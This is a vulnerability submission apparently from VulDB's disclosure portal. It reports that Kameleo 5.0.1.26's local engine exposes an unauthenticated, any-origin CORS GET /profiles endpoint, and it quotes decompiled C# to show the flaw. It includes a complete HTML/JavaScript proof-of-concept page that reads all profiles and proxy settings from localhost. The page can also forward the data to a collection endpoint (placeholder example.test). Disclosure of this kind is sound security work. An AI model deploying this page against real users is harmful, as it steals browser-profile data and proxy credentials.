提出 #1011319: https://kameleo.io/ Kameleo 5.0.1.26 Exposure of profiles due to unauthentication情報

タイトルhttps://kameleo.io/ Kameleo 5.0.1.26 Exposure of profiles due to unauthentication
説明## Vulnerability Description A profile-inventory disclosure vulnerability affects `GET /profiles`. When the Engine is running and an attacker-controlled page is opened in the same desktop session, the page can enumerate the workspace’s profiles and read their identifiers, metadata, lifecycle state, device/browser fingerprint summary, storage location, and proxy configuration. ## Vulnerability Principle The profile controller marks the listing action anonymous: ```csharp [HttpGet("", Name = "ListProfiles")] [AllowAnonymous] public async Task<IActionResult> ListProfiles(ProfileLifetimeState? lifetimeState, CancellationToken ct) { ListProfilesRequest message = new() { LifetimeState = lifetimeState, CancellationToken = ct }; ListProfilesResponse result = await listProfilesUseCase.HandleAsync(message); return Ok(mapper.Map<IList<ProfilePreview>>(result.Profiles)); } ``` The implementation in `client-engine-application/t.cs` calls `IProfileMemoryStoreService.List()`, creates each `StatefulProfile`, applies the optional state filter, and adds every matching profile to the response. `ProfilePreview` contains an explicit `Proxy` property in `Api.Models.Response/ProfilePreview.cs`; the mapping therefore exposes proxy settings whenever they are present. `Startup` then applies its allow-any-origin policy to the response. In `app_unpacked/server-source-decompiled/Kameleo.Engine/Api/Startup.cs`, the server installs this default policy: ```csharp services.AddCors(delegate(CorsOptions corsOptions) { corsOptions.AddDefaultPolicy(delegate(CorsPolicyBuilder corsPolicyBuilder) { corsPolicyBuilder.AllowAnyOrigin().AllowAnyMethod().AllowAnyHeader() .SetPreflightMaxAge(TimeSpan.FromMinutes(10.0)); }); }); ``` The same file places `app.UseCors()` in the request pipeline before the controller endpoints. This is the Local API’s own response and preflight policy, so the browser page can reach and, where applicable, read the Local API response. ## Vulnerability PoC ````html <!doctype html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>③ Export all profiles, including proxy credentials</title> <style> :root { --bg:#0f1115; --card:#171a21; --line:#262b36; --fg:#e6e9ef; --mut:#9aa4b2; --ok:#2bd873; --warn:#f5a524; --bad:#ff5c5c; --acc:#4c9aff; } * { box-sizing:border-box; } body { margin:0 auto; max-width:900px; padding:24px; background:var(--bg); color:var(--fg); font:14px/1.55 -apple-system,Segoe UI,Roboto,Helvetica,Arial,sans-serif; } h1 { font-size:20px; margin:0 0 4px; } .sub,.desc { color:var(--mut); } .sub { margin:0 0 18px; } .cfg,.card { background:var(--card); border:1px solid var(--line); border-radius:10px; padding:14px 16px; margin-bottom:14px; } .cfg { position:sticky; top:0; z-index:2; } .kv { display:flex; flex-wrap:wrap; gap:8px 14px; align-items:center; } .kv b { color:var(--mut); font-weight:600; } code,.mono { font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,monospace; } .ep { color:var(--acc); font-size:12px; margin:4px 0; } button { background:#222835; color:var(--fg); border:1px solid var(--line); border-radius:7px; padding:8px 14px; font-size:13px; cursor:pointer; margin:8px 6px 6px 0; } button:hover { border-color:var(--acc); } button.danger { border-color:#4a2020; background:#2a1414; color:#ff9a9a; } input { background:#0d0f14; color:var(--fg); border:1px solid var(--line); border-radius:6px; padding:6px 9px; font-size:13px; } pre { background:#0d0f14; border:1px solid var(--line); border-radius:8px; padding:11px; overflow:auto; max-height:420px; font-size:12px; white-space:pre-wrap; word-break:break-word; margin:6px 0 0; } pre:empty::before { content:"Output will appear here after you click the button."; color:#5b6373; } .ok{color:var(--ok)} .bad{color:var(--bad)} .warn{color:var(--warn)} .tag { display:inline-block; font-size:10px; font-weight:700; padding:1px 7px; border-radius:20px; margin-left:6px; vertical-align:middle; } .t-read{background:#2a2410;color:var(--warn)} .t-write{background:#2a1414;color:var(--bad)} a { color:var(--acc); } </style> </head> <body> <h1>③ Export all profiles, including proxy credentials <span class="tag t-read">READ</span></h1> <p class="sub">Single-feature standalone test page; target: <span class="mono ok" id="tgt">localhost:5050</span>. <a href="index.html">Back to feature list</a></p> <div class="cfg"> <div class="kv"> <span><b>Target:</b> <input id="host" value="localhost" size="10" onchange="refresh()">:<input id="port" value="5050" size="5" onchange="refresh()"></span> <span><b>Optional collection endpoint:</b> <input id="beacon" placeholder="https://example.test/collect" size="30"></span> </div> </div> <div class="card"> <div class="ep mono">GET /profiles</div> <div class="desc">Lists all profiles; the first profile ID is printed at the top so it can be copied into the cookie or start test pages.</div> <button onclick="profiles()">Export profiles</button> <pre id="out"></pre> </div> <script> const $ = id => document.getElementById(id); const B = () => 'http://' + $('host').value.trim() + ':' + $('port').value.trim(); function refresh(){ $('tgt').textContent = $('host').value.trim()+':'+$('port').value.trim(); } function set(el, msg, cls){ $(el).innerHTML = cls?'<span class="'+cls+'">'+msg+'</span>':msg; } function pretty(v){ try{ return JSON.stringify(v,null,2);}catch(_){return String(v);} } async function beacon(tag, data){ const el=$('beacon'); const url=el?el.value.trim():''; if(!url) return; try{ await fetch(url,{method:'POST',mode:'no-cors',headers:{'Content-Type':'text/plain'},body:JSON.stringify({tag,page:location.href,target:B(),ts:Date.now(),data})}); }catch(_){} } async function reach(path, method='GET'){ try{ await fetch(B()+path,{method,mode:'no-cors',cache:'no-store'}); return {reached:true}; } catch(e){ return {reached:false, err:e.message}; } } async function read(path, method='GET'){ const r=await fetch(B()+path,{method,mode:'cors',cache:'no-store'}); const txt=await r.text(); let json=null; try{json=JSON.parse(txt);}catch(_){} return {status:r.status, txt, json}; } window.addEventListener('DOMContentLoaded', refresh); async function profiles(){ set('out','GET /profiles ...'); try{ const r=await read('/profiles'); const arr=Array.isArray(r.json)?r.json:(r.json?.items||r.json?.data||[]); const id=arr[0]?.id||arr[0]?.Id||''; set('out','Status '+r.status+' — '+arr.length+' profiles'+(id?'\nFirst profile ID: '+id:'')+'\n'+pretty(r.json??r.txt)); beacon('profiles',r.json??r.txt); }catch(e){ set('out','CORS blocked response reading, but the request reached the engine: '+e.message,'warn'); } } </script> </body> </html> ````
ソース⚠️ https://drive.google.com/file/d/1ZuDXJSM1SQDNZogKq8oEQ6qtDI1TkGN7/view?usp=drive_link
ユーザー
 researchersongwu (UID 100991)
送信2026年10月02日 13:17 (24 日 ago)
モデレーション2026年10月25日 20:17 (23 days later)
ステータス承諾済み
VulDBエントリ426306 [Kameleo 迄 5.0.1.26 Profile Controller t.cs ListProfiles 情報漏えい]
ポイント20

Interested in the pricing of exploits?

See the underground prices here!